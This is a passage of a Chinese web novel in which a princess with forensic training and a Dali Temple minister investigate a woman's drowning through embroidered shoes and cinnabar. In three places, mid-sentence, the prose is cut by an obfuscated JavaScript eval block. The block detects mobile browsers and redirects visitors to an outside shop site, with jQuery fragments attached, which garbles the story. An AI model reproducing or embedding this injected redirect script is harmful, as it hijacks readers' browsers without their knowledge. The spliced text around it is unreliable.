《大理寺卿的宠妻日常》 2. 借宿 明荔也不知道跟他解释什么……现在只等着晚上回去的时候问问侍女宁儿原主跟谢知津的关系。 “大人不是早就知道了,又何必来问我?” 谢知津生生给气笑了,倔劲上来了,随口而出,“也对,我一个纨绔,怎么能配得上咱们金尊玉贵的宝安郡主。” 他虽心里藏着火气,可只要明荔否认一句,给他个笑脸,那她抛弃自己的事,谢知津便真的不会再追问。 可明荔没有,“谢大人知道便好。” 行至西市街角,明荔指着前头一方匾额,笑道,“这便是柳娘子的家了,柳娘子的夫君是在坊里杀猪的,大概每日戌时才会回来。再往前走几步便有个茶坊,谢大人可在处休息,待他夫君回来,大人在入内茶验也不迟。” “天色已晚,我还有事,谢大人自便。” 说罢,明荔便头也不回的往前头巷子里走。 “还不出来?” 躲在暗处的齐放正兀自琢磨怎么撮合他们,听到谢知津的喊声后,不自觉地打了个寒颤。 他随着谢知津的目光一道瞧去,直至那片单薄的背影消失在雨幕中。 “你什么时候觉察到的?”齐放抿了抿唇。 早在他们二人从大理寺出来后,谢知津便知晓有人一直再跟着他们,起先还以为是县衙的人,后来路过胭脂摊时,从那处的镜子里瞧到了齐放腰间的玉佩,这才没有发作。 “你落脚处找的怎么样了?” 齐放转头瞧他,“说到落脚处我们恐怕还要麻烦宝安,方才我让人问了附近的几家客栈,掌柜的都说今日客房都已经满了,让我去别处寻。若是天黑之前再找不到,恐怕我们要在郡主家借宿一晚了。” 谢知津面色微变,扯了扯嘴角,“我就不信,这偌大的京州,还找不出个住所。” 瞧他甚笃,齐放憋了好久才把笑咽回去。 方才闲来无事他一早便让人往各处客栈去给了店家几块银艇,只要他谢知津一来,便告诉他今日无房。 “方才,郡主同你说什么了?” 谢知津按照明荔的话坐到不远处的茶摊中,“她说让我在这等,等柳娘子的夫君回来,咱们再进去查问。” 两人是喝不惯此处的粗茶的,只要了些清水,以供解渴。 柳娘子的夫君是亥时一刻回来的,那男人身宽体胖,但看上去力气大的很。满脸的胡茬,三角眼,看着是个不好惹的。 “请问此处可是柳雪柳娘子的家?”谢知津有礼一问。 不过那屠户起先没有给他们好脸色,拿着屠刀,堵在门口,反问,“你们,有什么事?” “我是大理寺卿,今日是为了柳娘子坠河一事而来。” 听了此话,屠户才彻底放松警惕。 “县衙那边不都已经结案了,你们还来干什么?” 谢知津道,“我们只是例行公事。” 瞧着雨愈来愈大,屠户虽是个粗人,但也是有礼数的,既不是来找麻烦的,更何况来的还是官家的人,便没必要把人都挡在外头。 “进来说罢。” 他将人请进来,切了盘猪头肉,又从地窖里拿了坛好酒来款待他们。 屠户先是给他们倒酒,随后喝了一大碗解渴,“你们想问什么?” “也没什么,就是想问一下柳娘子昨夜去了何处?平时有没有什么仇家?” 李屠户没好气的笑了笑,又喝了碗酒,“仇家没有,奸夫倒是有。” 妻子死了,身为丈夫不伤心就算了,连灵堂都未设,真是闻所未闻。起先谢知津还好奇,听他如此说心里倒也了然。 齐放学着李屠户的样子喝了一大碗酒,又敬了他一杯,随后才问,“柳娘子可有什么闺中密友?” 像李屠户这样不解风情的粗人,家里娘子有个知心人也是正常,总不能苦守这一辈子,多无趣。 可李屠户平日里也很少同柳雪打交道,两个人也是说不到一起去的,所以也很少过问柳雪的事,就连她在外头有人这样的腌臜事,他也是偶然听别人提起。 “她是个性格脾气极好的人,除了不检点以外,这街坊邻里的都同她处的来。我白日里不在家,晚上也都是这个时辰才回来。对她的事也是知之甚少。” 谢知津和齐放意识到从他嘴里也问不出什么,又客套几句,喝了两口酒便离开了。 临行前,李屠户才透露说,“我同柳雪已经和离了,以后有关她的事,你们便不要再来寻我了!”说罢,他将门重重的关上。 夜里的雨下的比白日还大,风雨交加之下,两人的油纸伞险些被风吹破。 找了半个城的客栈,齐放实在是走不动了,“我说咱们就在明荔家借宿一晚又能怎么样?” 谢知津不听,一个劲的走寻找客栈。 “我是不行了,我要去明荔那借宿了,你自己找罢。” 雨势过大,齐放的身上,靴子里都沾了水,走起路来十分难受。 随后谢知津又问了一家客栈,店家瞧见了齐放,也是按照约定告知他已无房可住。 “咱们只是去借宿,又不代表什么。你何苦为难自己。” 谢知津站在客栈的屋檐下,试图将袖袍拧干,随后又抬眸瞧了瞧这天,淡然开喽,“罢了,既然你想,那我便陪你一道去。” ‘呵……’ 明明就是自己想去。 到明府门口的时候已经很晚了,门房上的人听到有响动便上前询问,听说来人是齐小王爷,赶忙入内回禀。 正侍候明荔的丫鬟宁儿问,“郡主若是不想见,不如奴婢替郡主将他们打发了吧。” 她刚听完宁儿讲完原主同谢知津的故事,也觉着原主有些对不起这男人。 “让人把春喜厅打扫出来给他们住吧,再让下人送上姜茶给他们暖身。” 将茶水喝完后,明荔坐在妆台前,拿了笔墨,在纸上画出了柳雪娘子今日所穿绣鞋的花样。 “郡主在画什么?”宁儿在一旁不解问。 “柳娘子死的时候穿的那双鞋啊。”明荔用画笔抵着下颔,“你觉不觉得这鞋有什么问题?” 她瞧着自己画下的略微不全的图案,只偶然见过一眼,具体的纹样实在是有些记不太清。 “我看啊,您是思虑过度。”宁儿端了一碗牛乳给她,“这是厨房才做的,还热着您吃了快些安置罢。” 明荔吃过半的时候,宁儿已经将绣床铺好。 “他们都安置好了?” 宁儿打小就跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697072|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明荔了,她心里想的,宁儿基本都能猜出个差不多,“您是想问谢大人呢,还是小王爷呢?” 明荔握着玉勺的手一顿,指尖蹭过白瓷碗边缘,半晌才低声道:“谁都好。”话落又补充了句,“毕竟是借宿的客人,总不能怠慢了”。 宁儿瞧着她耳尖悄悄泛红,忍着笑应了声,“都安置妥当了。”又接着说:“谢大人方才在廊下站了好一会儿,盯着您这院的方向,还是齐小王爷拉着他才回春喜厅的。” 明荔垂眸搅了搅碗里剩下的牛乳,没接话,心里却像被投入了颗小石子,漾着涟漪。 …… 次日一早谢知津便独自离开了明府,本该叫着齐放一道走的,可他实在是太累,洗漱过后又睡了过去,眼下已过了用朝食的时辰。 他出门,瞧着明荔在园子里浇花,便坐在旁边的石凳上,装模作样的感慨,“这苦命的随之啊,明明感染了风寒,却还急着去查案子,若是病倒了可怎么办啊。” “你这么担心他,你怎么不去看他。” 齐放被噎个半死。 轻咳两声,继续说,“你明知道,随之此行是为你而来,偏你还要继续装作一副不近人情的样子。” “什么叫装作不近人情。”明荔继续修剪花枝,“我本来就不近人情。” 齐放笑眯眯地看着明荔,“别人不知道,不过我的好妹妹,咱们两个从小一起长大,虽说你后来出宫别居,可你的脾性我再清楚不过。” “我虽不知道你当年为何弃了随之,不过我能看的出来,你们心中还是有彼此的。” 明荔深吸一口气,“怎么,柳娘子的案子查完了?你竟有闲情逸致打趣我?” “当然……”齐放尴尬笑笑,“没有啦!你知道的,随之查案抓人的能力可以,就是这验尸,不太行……” “大理寺不是有仵作吗?” “据我了解那个仵作年近八十,拿着验尸刀手都抖个不停。” 明荔的外祖母原来是名冠京州的仵作,不过后来嫁给了老侯爷,这门手艺也被搁下了。然明荔少时有幸养在外祖母膝下,所以这门手艺也学了些。 “那便使些银子,去别处请个仵作来。” 他见明荔忙完,揩了额角的汗,便斟了茶递过来,“随之初来大理寺,用别的仵作他定然不会放心。所以,还请妹妹助咱们一臂之力。” 这茶来的及时,缓解了明荔的口干。 验尸,她这个法医专业的学生应该还是在行的,不过也只才学了一年半,万一出了什么事,这个责任…… 不会要,砍头吧! 算了,她还是惜命的。 “我学艺不精,帮不了小王爷,还是另请高明吧。” 齐放眉头微皱,原以为没了法子,后来明府下人来报后,大理寺的几个人把谢知津用担架抬了进来。 听来人说,谢知津晨起来时便有些不舒服,刚进验尸房吐了几回便晕了过去。 济慈堂的大夫说,谢知津昨夜是受了风寒,又急火攻心,吃上几副药好好将养就无大事。 明荔垂着手立在石阶上,满心疲累。 罢了,反正也是要查查原主父母的案子的,正好也是无从查起,不如先去大理寺找找卷宗,碰碰运气。 3. 绣花鞋 小院外头,有个熟悉的身影在守着。 那是个约摸二十几许的年轻人,身上一身束袖玄色衣衫,腰间挂着一柄长剑,周身都是杀气。 见齐放出来,那人先行礼,“见过小王爷。” 然后有些不情愿的向明荔行礼,“见过郡主,车已备好了,请。” 他是谢知津的贴身护卫,莫以新从小同谢知津一道长大,后来明荔同谢知津相知后,莫以新便被派到她身边,护她周全。 …… 明荔提着她那口深褐色桃木工具箱,步履沉稳地走在最前面。 验尸房前,将木箱搁在石台上,从中取出一套深色的仵作服,穿戴好后,又拿出一块浸过药醋的深色面巾,盖住口鼻,只留下那双沉静如潭的眸子。 她将一瓶药丸递给齐放和莫以新,“这是苏合香丸,将它含在舌下,进去后你们会舒服些。” 两人虽不明所以,却也照做。 入内后,明荔走到屋子的角落,用火折子点燃了上头已备好的苍术和皂角,阴冷潮湿的气息,带着些尸体腐烂的气味扑面而来。厅内光线晦暗不明,墙壁上挂着的几盏油灯将人影拉的忽长忽短。 闻这味道,尸体约摸着也死了有两日以上了,怪不得那那郎中要熏艾草来掩盖气味。 “记。”她开口,声音清凌凌的,配合上这验尸房阴森森的环境,给齐放吓了一个激灵。 他拍拍胸口,长舒了口气,随后顺着明荔眼神的方向,从箱子里掏出笔墨。 “死者柳雪,年约二八。尸体表面无任何痕迹,生前应未受过虐待等事。尸斑呈案紫色,分布于背腰等未受压处,指压稍退为坠积期,尸体应入水十二时辰左右口鼻,周围未见蕈状泡沫。” 随后,明荔又从木箱中取出一根银针,置于口内,半盏茶后取出。 “未见中毒痕迹。” 齐放按她所说一直记录。 “没有明显伤痕,也没中毒,那她是怎么死的?” 莫以新抱着剑处在验尸台前,正对着柳雪的脖颈处,“没有明显伤痕,不代表没有伤痕。” “没错,皮下有细微,呈紫红色的出血点,手臂内侧有几处浅淡抵抗伤,应该是被人扼住脖颈,然后被丢入河中。” 说罢,明荔将自己的验尸工具收拾好。 “好了,我的工作做完了。剩下的便是你们大理寺的事了。” “就完了?”齐放憋了好久的气,若不是那苏合香丸,他恐怕真是要像谢知津吐个半死。 “嗯,完了。” 齐放没想过会这么快,临走时,又向她讨要苏合香丸,“你那个药丸在给我们点呗,” 她把那一小瓶都留给了两人。 “我让莫以新送你回去。” 对于莫以新,明荔是怕的,听宁儿说这个人神秘莫测,甚至可能比谢知津还要可怕。 若是让他知晓自己的打算,他必会报给谢知津。 “不用了,柳娘子的案子还没结果,你这里也需要人手,就让他陪你查案吧。” 说到查案,齐放想起了那位大理寺少卿。 “嗯?林少卿呢?怎么是我来查?” 莫以新微微浮起一丝微笑,“在明府照顾大人呢。说是因为自己的失职才至大人如此,想将功折罪。” 她走的极快,本想着将人甩开去案牍库的,可昨夜新雨后,大理寺内的几个水缸里存了好些水,那里头映出了莫以新的影子,彼时,他正在屋顶坐着,光明正大的监视自己。 罢了,也不急于这一时。 明荔只装作没瞧见他,大步流星的出门, 近几月寿安坊里的酱香芒果风靡的很,也不知这坊的主人究竟是谁,制的小食大多都合明荔的口味。 她想顺路买了一些回去,又瞧见有卖软酪的便叫店家也包了一份。 明荔觉着,生病的人应该都会喜欢吃些甜的,这样应该会好的快些罢。 回到家中时,侍女宁儿迎上来,将谢知津已经醒过来的事报与她。 本想着若是谢知津午时还不醒,她便要让人拿着腰牌去宫里请太医来看,哪成想,他没这个福分,过不了太医的眼。 “咱们去瞧瞧他吧。” 至春喜厅时,碰巧听见里头的人在说话,明荔怕打扰二人的思路,便在外头石阶上坐了一会。 “鞋是新鞋,磨损极微。且死者脚形与鞋并不完全吻合,穿上行走必不舒适。脚踝的摩擦伤也印证了这一点。”谢知津将绣鞋递到林怀州面前,“而且这鞋的用料,绣工都是极好的,柳雪家境也不是很好,应当买不起这样一双鞋。” “原来是这样。”明荔恍然大悟,起初她还以为就像刑侦剧里那样,红绣鞋,配阴婚用的。 她继续听着下文。 “还有她指甲缝中的朱砂。”谢知津从怀里掏出一个用三角状的牛皮纸包,递给林怀州,“辰州出产的朱砂,连同所附白石矿床,大者重七八斤,价格为十万钱即一百贯,小者值五六十贯。而柳雪家里并不富裕,她弄朱砂做什么。” 林怀州点了点头,谢知津的想法同他不谋而合。 “林少卿,稍待,劳您往城中各绣坊问问,看看近一段时间有谁定做了这类绣鞋。” “属下明白。”林怀州领命出门时,正巧看见坐在石阶前的明荔,“还要多谢女郎收留我们少卿。” 林怀州是个清官,不说家徒四壁,也的确是留不下一位贵人。 “少卿言重了。” 两人互相至礼告辞后,明荔转身进了屋。 她将软酪搁在桌上,在外间随意寻了个位置坐下,提起了案情,“我方才去验尸了,柳雪她是被勒死的,尸体上没有中毒的痕迹。至于你说的朱砂,我猜应该是她在挣扎时,抓到了什么东西,不小心留在指甲里的。” 谢知津脸色惨白,轻咳一声后,有气无力的说,“多谢你。” “我买了软酪,喝了药,吃一些甜的会好一些。” “你还是在乎我的。” ‘……’ 原主真的是在乎她的,可现在这具身体里换人了啊! 明荔调整了好久才能装成无事的样子瞧他,“如今出了命案,你是大理寺卿查案该是第一位,莫要为着别的事乱了心神。” 无论她如何说,谢知津心里总是高兴的,至少在她心里还有自己的一席之地。 “我知道了,多谢。” 她走以后,谢知津捧着明荔买的软酪看了好久,嘴角楞是没压下去过。 后来还是莫以新回来复命的时候,他神色才渐渐清明。 “大人,属下今日跟着郡主至大理寺,郡主验尸以后没有先行离开,属下看她的样子,好像是想找什么东西。” “找东西?”谢知津捏了一口软酪放入口中。 真甜。 “你要吃些吗?” 他捧着盘子询问莫以新,待莫以新犹豫伸出手以后,谢知津又把软酪搁了回去,“算了想你也不爱吃甜食,吃些茶水罢。” 莫以新,“……” 林怀州从明府出来后,便直奔东街一家绣坊。坊主同林怀州有情,但碍于身份,林怀州迟迟未表明心意,娶她过门。 坊主春鸢是打江南来的,十分温柔,那双眸子总是亮亮的,像一潭春水。 春鸢请他到后厅稍歇,遣人送了茶来。 “还请你帮忙看看这双绣鞋。” 春鸢瞧了半晌,指尖虚点着绣鞋的鞋底边缘,“大人请看,这纳底的线脚,针距均匀细密,用的是反绱法,使得鞋底边缘利落,不易藏污纳垢。这种手艺,并非普通绣坊便能制出的。” “此等精细做法,京州城内,不会超过五家。”春鸢语气笃定,“尤其是这鞋跟处的收针,带一个极细微的回旋,应该是绣娘习惯,大人也可以从此处入手。” 林怀州眸光一闪,当即便问:“可否请鸢娘同我一道前去查问,我是个粗人,于针线活计,实在不通。” 春鸢温婉一笑,“愿为大人效力。” 按照坊内绣坊位置顺序,两人先去的是彩云轩。此处毗邻繁华街区,绣品以色彩艳丽,花样新颖著称。掌柜是位二十余岁的妇人,妆容精致,见到林怀州拿着的绣鞋,眼前一亮,先是惊于此鞋的绣工,但仔细端详了片刻,却是摇头:“娘子这鞋做工是极好的,尤其是这金线劈得细,绣得密,像是南边的工艺。不过,不是我家的东西。我们彩云轩的鞋,鞋头花样喜欢用堆绫,没这么素净。” 林怀州不动声色:“素净?” “是啊,”掌柜指着鞋面的缠枝莲,“您看,就金线一种,连个配色都没有,虽说精巧,但不够富丽。定这鞋的客人,要么是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697073|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心喜欢这清雅,要么就是不想太扎眼。”她顿了顿,压低声音,“不过这料子,这金线,可都不是便宜货。” “那您可知晓有谁家是绣娘是这种针法吗?”春鸢问道。 这妇人皱了皱眉,“这妾身还真不知道,不过您可以去锦绣坊问问,那有位老师傅,在京数十年了,应该会知晓。” “多谢您了。” 两人拜别后,按照店家指示往锦绣坊去。 接待的是位老师傅,戴着单片眼镜,看了半晌,摩挲着鞋底,沉吟道:“这手艺看着眼熟。走线力道也足,像是城西玲珑阁老何的手笔。他那人,轴得很,就爱用他那套老法子,鞋底收针爱打个旋儿,说是结实。别人都学不来,也不屑学。” “玲珑阁?”林怀州记下了这个名字。 “对,就在西榆林巷口,铺面不大。”老师傅补充道,“不过,老何前年就回老家养老去了,现在是他徒弟在打理。手艺嘛差了点意思,但也勉强过得去。” “多谢您了。” 出了锦绣坊的门,林怀州立刻亲信将春鸢护送回去,摊上人命官司的人难免行为偏激,若是带着春鸢行事会不大方便。 西榆林巷不如城东繁华,透着股市井的烟火气。玲珑阁的铺面果然不大,陈设也有些旧,但却收拾得干干净净。柜台后站着个三十岁左右的男子,面相憨厚,正低头打着算盘。 见有客人进来,他连忙迎上:“这位娘子,想看点什么?我们这儿鞋袜、绣品都有” 林怀州没有多言,直接打开青布包袱,露出了那只红绣鞋。 那掌柜一看这鞋,脸色微微一变,眼神也透着慌乱,话也磕巴起来:“这,这鞋你们从何处得来?” “掌柜的认得此鞋?”林怀州目光平静地看着他。 “不,不认得。”掌柜连忙摆手,眼神却不由自主地往内间瞟了一眼,“我们这小店,哪做得出这么好的鞋” 林怀州将他的反应尽收眼底,也不逼问,只将绣鞋翻转,指着鞋底那独特的收针处,慢条斯理地说:“贵店的何老师傅,当年这手回旋收针的绝活,京州可是独一份。这鞋,纵然不是掌柜的你亲手所做,但这底子,这收针的习惯,总归是玲珑阁的没错吧?” 掌柜的额角渗出了细密的汗珠,嘴唇嗫嚅着,说不出话来。 就在这时,内间的门帘被掀开,一个穿着还算华贵的人从里头出来,似乎正要告辞。他看到柜台上的红绣鞋时也是一愣,随即对掌柜的使了个眼色,匆匆离去。 林怀州瞥了那管家背影一眼,心中疑窦更深。他不再绕圈子,从怀中取出大理寺的腰牌,往柜台上一放,声音不高,却带着不容置疑的威严:“大理寺查案。这双鞋牵扯一条人命。掌柜的,你若知情不报,便是同罪。” 木质腰牌上大理寺三个篆字,如同烧红的烙铁,烫得那掌柜浑身一颤,脸色瞬间煞白。他腿一软,差点瘫坐在地,带着哭腔道:“官,官人饶命!小的说,小的都说!” 他扶着柜台,喘了好几口粗气,才颤巍巍地道:“这鞋是,是约莫半月前,一位姑娘来定的。说是给她家小姐定做的。要求很是苛刻,尺寸一分不能差,还指定要用最好的杭缎和赤金线。小的看她们出价大方,就,就接了这活。” “姑娘?长什么样?可知道是哪家的?”林怀州追问。 “她没说。”掌柜的回忆着,“那姑娘年纪不大,十六七岁的样子,圆脸,眼睛挺大,说话有点口音。” “尺寸呢?你这里可有留存?”林怀州捕捉到关键。 “有有有!”掌柜的如同抓到救命稻草,连忙从柜台下翻出一个旧本子,飞快地翻找着,“在这儿!您看,脚长五寸一分,这尺寸,算是偏小的了。” “那姑娘,可曾留下姓名?”林怀州紧盯着掌柜。 掌柜的苦着脸摇头:“没有,真的没有。那姑娘口风紧得很,只催着要快,多给银钱都行。我也问过,鞋做成了送到何处,她说她自会遣人来取。” 林怀州瞧着掌柜的样子也不像说话,他仔细收好那张记录尺寸的纸,又询问了那丫鬟更详细的体貌特征和口音特点。 正准备离开时,手下周蔚从门外快步走入,低声道:“大人,方才从内间出去那人,我们跟了一段,看他进了王记绸缎庄的后门。” 王记绸缎庄?林怀州眼神一凝。 4. 朱砂 脚长五寸一分,同柳雪平日里所穿的鞋子大小的确不同。 林怀州将绣鞋以及王氏绸缎庄的事告知谢知津。 “鞋不是她的”谢知津指尖轻叩桌面,发出规律的轻响,眼神锐利如鹰,“那为何要在她死后给她穿上?” 这点,他们都想不通。 “把那丫鬟的画像绘出来后带给玲珑阁的店家确认,随后再发海捕公文,务必要将其找到。还有派几个人去王记门口盯着,看看有没有可疑的人出入。” 谢知津揉了揉太阳穴,将方才午后明荔送进来的汤药一饮而尽,“你还没用饭吧。”他从怀里掏出一块银艇递给林怀州,“拿着吧,去外头吃些好的,吃饱了才有力气干活。” 林怀州起先还瞧着他的脸色犹豫,别是上司对自己的考验。 “吃饭的银子属下还是有的。” “让你拿着就拿着,你带着手下的弟兄们一块去!” 林怀州半知半解:大人这是要拉拢下臣? 他忙应下,“属下一定不负大人所托。” 用午饭后,明荔也没闲着。趁着时辰还早回了宫中,找太医暑平日里信得过的医官瞧了瞧朱砂。 “你好些了吗?”明荔瞧着他面色红润,应当没什么事了,“你若是好了,就来听我说说这朱砂的事。” 在她之前,谢知津已经让莫以新去查了,只不过明荔比他快了一步。 “说说看你的要求?” 明人不说暗话,明荔有所图,谢知津也知道。 “我想进大理寺当仵作。” “不行!”谢知津一口回绝,堂堂郡主怎么能去大理寺当仵作。 明荔也不着急,靠在方椅上偏头瞧他,“我知道你让莫以新去查了朱砂的事,不过有的东西他未必能查到,我方才闲来无事进宫给太后请安,顺路去太医署问了一嘴,你猜猜,太医令怎么说?” 若按莫以新所说,明荔想进大理寺是有所图,今日她已然提起,倒不如松手松手,让她进。 “我许你进大理寺为仵作。”谢知津坐到她对面,两个人便这样各怀心思的瞧着对方,“把你知道的告诉我。” 明荔努努嘴,从袖口里掏出一包朱砂。 她将纸微微倾斜,让光线更好地照亮那些颗粒,“此物色泽艳而不浮,颗粒均匀,触之细腻沉手,绝非寻常画铺,药肆所售的杂色朱砂可比。此乃上等的辰砂,更确切地说,是产自辰州,需经水飞反复淘洗,沉淀所得,杂质极少,朱色纯正。” “此等品相的辰砂,流向有限。其一,宫廷画院,用于绘制重要壁画或帝王御容,需求量大,但采办记录严格,流出宫外不易。其二,皇家敕建或香火鼎盛的大道观,如上清储祥宫、醴泉观等,用于炼制金丹,取其‘纯阳’。其三,专供达官显贵、富商巨贾的高档胭脂水粉铺,将其研磨至极细,用作口脂或胭脂,色泽持久鲜亮。其四,刊印朝廷邸报、重要文书的官办雕版坊,用于朱批圈点,但用量大,品级反而不如这般挑剔。” “画院与雕版坊,品级与用途皆有不符,可暂放。”谢知津笑道:“胭脂铺,与女子关联更紧。”他侧头看向明荔,“胭脂水粉我不大懂,还请郡主赏光与我同去。” 明荔看穿了他的心思,‘嗤’了声,“恰好李医令同我是故交,他告诉我说京州有家铺子名为玉容斋,专门卖这种辰砂,谢大人不如去碰碰运气。” “你就这么不想同我一道?” 明荔默了半晌,淡淡道:“全京州的人都知晓,我不日将与太子殿下成婚。玉荣斋是贵人常去的地方,若是让人瞧见我与大人同行,传到宫里去,那于大人,于我都没有什么好处。” 谢知津别开眼轻笑了声。 满心都是对自己的嘲弄。 氛围怪异,好在宁儿机灵,借口有事需她处理,才打断了两个人。 临出门前,明荔还特意嘱咐道,“我瞧着大人身体已经恢复的差不多了,待案子查清了便出去寻个住所吧。” “我也正有此意。” 谢知津几乎是咬着牙把这几个字吐出来的。 诚如明荔所说,玉容斋是京州贵人才会去的场所。这家铺面并不算最大,但陈设雅致,隐隐有暗香浮动,每日客人不多,但大部分都是达官显贵。 掌柜是位五十余岁面容清癯的老者,眼神透着精明与干练。 谢知津依旧出示了那包辰砂。 那掌柜的接过,并未像前两家掌柜那样当机立断,而是走到窗边明亮处,用一根细如牛毛的银簪,沾了点口水,又轻轻蘸取少许辰砂粉末,在指甲盖上细细研磨观察,又凑到鼻尖,闭目细嗅。 片刻后,他睁开眼,眼中闪过一丝讶异:“此砂色泽殷红如血,颗粒细腻均匀,更难得的是,隐隐带有一丝极淡的莲花蕊香气。这并非普通水飞法所能得。” “那你这里可有?” 他看向谢知津,沾沾自喜,“这位公子,此乃小店的独家货源,采自辰州最深层的矿脉,经由祖传秘法,以特定季节收集的莲花蕊露进行‘水飞’,方可得此色泽与暗香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697074|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。小店将其命名为‘金陵朱’,只用于调制最顶级的‘绛仙唇脂’和‘牡丹腮红’,产量极少,价格昂贵。” 谢知津心中一定,却不显山露水:“原来如此。不知贵店这金陵朱,都曾售予哪些府上?” 店家闻言,脸上露出为难之色:“这个,公子见谅,小店做生意,讲究的是为客官严守私密。购买此物的,非富即贵,恕我实在不便透露。” 谢知津不再多言,直接从袖中取出大理寺的腰牌,轻轻置于柜台上。 “大理寺查案,牵扯人命。”她将腰牌塞到袖子力,又塞给那店家一锭银艇,“此物关系重大,还请掌柜行个方便。” 那掌柜看到腰牌时拿着辰砂的手都微微抖了一下。后来见了银艇,又赔笑,说话间将银艇收好:“既涉人命,小店自当配合。”随后又压低声音,“只是购买‘金陵朱’的客人,皆是有头有脸的人物,这份名单……” “掌柜的放心,”谢知津道,“大理寺办案,只究涉案情由,不会无故牵连,亦会尽力保全贵店声誉。只需近三个月内的购买记录即可。” 说罢,谢知津便又给了掌柜一块银艇。掌柜欣然笑纳,“大人稍候,稍后。”他转身进入内室,不多时,取出一本厚厚的账册,翻到其中一页,指给谢知津看:“大人请看,这便是近三月内订购过含有金陵朱客人记录。” 谢知津凝目看去。账册上用清秀的毛笔小楷记录着寥寥数行信息,时间、物品、数量,以及客户姓氏,各家府邸。 ·四月月初十,绛仙唇脂一盒,吏部张府。 ·四月十五,牡丹腮红一盒,永嘉伯爵府。 ·五月初一,绛仙唇脂两盒,王记绸缎庄。 ·五月初五,牡丹腮红一盒,枢密副使李府。 ·五月月初五,绛仙唇脂一盒,城南赵府。 王记绸缎庄!又是此地。 五月初一,离柳雪也死亡时间也不远。 绝不能是巧合! 谢知津不再多留,带着两名衙役迅速离开玉容斋。 刚出店门,林怀州,周蔚一行人便朝他的方向跑了过来。 “大人,大人!”两个人脸上都带着兴奋之色,“找到了!按照您给的样貌特征,圆脸,大眼,江南口音,我们的人在王家后门盯梢时,亲眼看到一个符合那女子特征的丫鬟出来采买。后来我们暗中向王家左近的杂役打听,确认那丫鬟名叫春杏,正是王员外夫人房里的使唤丫头。” “看来,我们得请王员外来大理寺坐坐了。” 5. 戚夫人 暮色渐合,将大理寺衙门的飞檐染上一抹沉重的赭色。 说这王家先祖也是有功之臣,祖上曾有从龙之功。只不过近些年家族里也没些人才来维系,所以才落败至此。 碍着这层干系,且证据不足,谢知津也并没有直接遣衙役去拿人,而是写了一封拜帖,言明大理寺查案,需向王员外请教些许事宜,请其方便时过府一叙。 不出一个时辰,回信便至。王员外言辞恭谨,表示本应即刻前来,奈何偶感风寒,恐病容亵渎官威,待彻底痊愈后定会亲自登门拜访。 “病了?”谢知津放下回帖,嘴角掠过一丝几不可察的冷意,“倒是巧得很。罢了,那我们便亲自登门去瞧瞧。” 王家宅邸位于城西丰豫门附近,虽非好地段,但也绝不亚于别处。门房瞧见来人,向内通传后,恭敬地将谢知津与林怀州引入府内。 “不是吧,他这院子,比明郡主家还要好上些。” 穿过影壁,绕过回廊,但见庭院内假山玲珑,曲水流觞,花木扶疏,陈设布置极尽精巧。 王员外王启仁在花厅迎候。他约莫四十出头年纪,身材微胖,面团团一张脸,此刻带着几分恰到好处的病容,眼袋浮肿,见到谢知津,连忙上前几步,躬身施礼,态度谦卑至极。 “草民王启仁,参见两位大人。劳动二位大人身亲临,实在是草民罪过,罪过。”他声音带着些许沙哑,似是真有不适。 “王员外不必多礼,是本官叨扰了。”谢知津虚扶一下,目光如常,“今日前来,是为核实一桩案件线索,还请员外如实相告。” “一定,一定,草民必定知无不言,言无不尽。”王启仁连声应承,吩咐下人看茶,姿态放得极低。 林怀州安静地坐在下首,目光看似随意地打量着厅内布置,实则将每一个细节都收入眼中。 谢知津并未直接提及柳雪或绣鞋,而是先从旁敲击:“听闻员外府上,近日曾于玉容斋购得名贵胭脂绛仙唇脂?” 王启仁愣了一下,随即恍然笑道:“是,是,内人喜爱那家的胭脂,前些日子的确让下人去买了两盒。怎么,大人,这胭脂有何不妥吗?”他脸上适当地露出一丝疑惑。 “并无不妥,只是循例问问。”谢知津语气平淡,话锋却倏然一转,“员外可认得此物?”他说着,对谢知津微微颔首。 林怀州会意,将那只用软布包着的红绣鞋取出,轻轻放在两人之间的茶几上。 猩红的缎面,精致的缠枝莲纹,一看便知价格不菲。 王启仁的目光一接触到那只绣鞋,宽胖的身躯几不可察地晃了一下。但仅仅是一刹那,他便强行稳住了心神,挤出一个比哭还难看的笑容:“这,这是何物?如此精美的绣鞋,想必价值不菲,但,草民从未见过此物。” “从未见过?”谢知津声音微沉,“据本官查知,此鞋乃半月前,由贵府一名叫春杏的丫鬟,前往城西玲珑阁定制。员外当真不知?” 